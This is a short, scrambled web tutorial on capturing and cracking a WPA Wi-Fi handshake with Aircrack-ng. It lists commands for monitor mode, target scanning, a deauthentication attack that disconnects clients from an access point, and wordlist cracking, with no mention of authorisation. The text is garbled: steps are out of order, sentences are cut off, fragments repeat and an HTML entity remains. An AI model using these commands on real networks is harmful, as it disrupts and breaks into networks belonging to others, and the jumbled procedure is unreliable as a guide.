Aircrack-ng Handshake [ POPULAR ]

Restore network services:

aircrack-ng -w wordlist.txt capture-01.cap

sudo airmon-ng check kill Start monitor mode on the interface (e.g., wlan0): aircrack-ng handshake

WPA handshake: <AP_MAC> The .cap file now contains the handshake. Press Ctrl+C to stop airodump-ng . To verify the handshake explicitly:

sudo airodump-ng wlan0mon Note the (MAC of target AP), CH (channel), and ESSID (network name). 3. Focus on the Target AP Start a targeted capture to a file: Restore network services: aircrack-ng -w wordlist

sudo airmon-ng start wlan0 The interface becomes wlan0mon . Use airodump-ng to discover nearby networks:

sudo aircrack-ng capture-01.cap If valid, Aircrack-ng will show “1 handshake” in the output. sudo aireplay-ng --deauth 5 -a &lt;AP_MAC&gt; wlan0mon This

sudo aireplay-ng --deauth 5 -a <AP_MAC> wlan0mon This sends 5 deauth packets to broadcast, disconnecting connected clients. Upon reconnection, the 4-way handshake occurs. In the airodump-ng window, watch the top-right corner. When a handshake is captured, you’ll see:

sudo airmon-ng Kill interfering processes: